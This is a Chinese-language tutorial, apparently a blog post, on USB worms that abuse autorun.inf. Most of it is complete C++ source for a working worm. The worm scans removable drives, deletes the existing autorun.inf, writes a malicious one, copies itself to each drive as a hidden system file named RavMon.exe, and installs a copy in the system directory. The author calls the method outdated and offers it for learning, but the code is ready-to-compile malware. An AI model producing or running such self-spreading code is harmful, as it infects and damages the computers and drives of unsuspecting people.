U盘病毒顾名思义就是通过U盘传播的病毒。自从发现U盘autorun.inf漏洞之后,U盘病毒的数量与日俱增。U盘病毒并不是只存在于U盘上,中毒的电脑每个分区下面同样有U盘病毒,电脑和U盘交叉传播。
本篇文章利用 autorun.inf
文件传播
autorun.inf文件介绍
autorun.inf是我们电脑使用中比较常见的文件之一 ,其作用是允许在双击磁盘时自动运行指定的某个文件。但是近几年出现了用autorun.inf文件传播木马或病毒,它通过使用者的误操作让目标程序执行,达到侵入电脑的目的,带来了很大的负面影响。
该方法已过时,传播方法多,这里入门方便学习
原理
该方法实现简单
大致原理插上U盘,删除原有autorun.inf文件,写入新autorun.inf文件
,并复制自身.exe到U盘,隐藏权限
autorun.inf文件参数:open
为启动.exe
程序,相当于插上U盘启动U盘内RavMon.exe程序
,看如下配置
代码例子
C++
这里用得Vc2019编译器
#include <windows.h>
#include <string.h>
#include <stdio.h>
char* autoRun = "[autorun]\
\naction=Open\
\nicon = %WinDir%\system32\shell32.dll, 4\
\nopen=RavMon.exe\
\nshell\\open=打开(&O)\
\nshell\\open\\Command=RavMon.exe\
\nshell\\explore=资源管理器(&X)\
\nshell\\explore\\Command=RavMon.exe\
\nshellexecute=RavMon.exe";
BOOL UDevice();
//void ResourceToFile(char *filename,char *Name,char* Type);
FILE* AutoRun;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
UDevice();
return 0;
}
BOOL UDevice()
{
while(1)
{
char Name[256]="H:\\";
char szName[256];
char ToPath[256];
char infPath[256];
char OpenUDevice[79];
UINT retType;
memset(szName, 0, 256);
memset(ToPath, 0, 256);
memset(infPath, 0, 256);
memset(OpenUDevice, 0, 79);
//do
//{
//}while()
//遍历盘符
unsigned char i = 0x42;
for(; i < 0x5B; i += 0x1)
{
Name[0] = i;
retType = GetDriveType(Name);
//判断是否是可移动存储设备
if(retType == DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFileName(NULL, szName, 256);
//比较是否和U盘的盘符相同
if(strncmp(Name, szName, 1) == 0)
{
//得到系统目录
GetSystemDirectory(ToPath, 256);
strcat(ToPath,"\\Uinfect.exe");
//把自身文件复制到系统目录
if(CopyFile(szName, ToPath, TRUE))
{
WinExec(ToPath, 0);//运行程序
}
strcpy(OpenUDevice, "explorer ");
strcat(OpenUDevice, Name);
//打开U盘
WinExec(OpenUDevice,1);
return 0;
}
else
{
strcpy(ToPath, Name);
strcat(ToPath,"\\RavMon.exe");
strcpy(infPath,Name);
strcat(infPath,"\\AutoRun.inf");
//还原U盘上的文件属性
SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(ToPath);
DeleteFile(infPath);
AutoRun = fopen(infPath, "w+");
if (AutoRun != NULL)
{
fputs(autoRun, AutoRun);
//写入autorun.inf文件
}
fclose(AutoRun);
//SetFileAttributes(FilePath, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
//释放AutoRun.inf到U盘
//ResourceToFile(infPath, (char*)0x64, (char*)256);
//拷贝自身文件到U盘
CopyFile(szName,ToPath,FALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(ToPath, 0x6);
SetFileAttributes(infPath, 0x6);
}
}
}
//一分钟检测一次U盘
Sleep(20000);
}
}
void ResourceToFile(char *filename,char *Name,char* Type)
{
//寻找自身进程中的资源
HRSRC hRes = FindResource(NULL,Name,Type);
if(hRes==NULL)
return;
//导入资源
HGLOBAL hgRes = LoadResource(NULL, hRes);
if(hgRes==NULL)
return;
//锁定资源
void *pRes = LockResource(hgRes);
if(pRes==NULL)
return;
//得到资源字节数
DWORD size = SizeofResource(NULL, hRes);
if(size==0)
return;
//创建文件
HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
if(hFile==INVALID_HANDLE_VALUE)
return;
DWORD dwWrite;
//把资源写入到文件
if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
return;
//关闭文件句柄
CloseHandle(hFile);
//释放资源
GlobalFree(hgRes);
}
效果
编译后软件以后台运行,插上U盘自动写入AutoRun.inf 隐藏文件 和 复制自身RavMon.exe 到U盘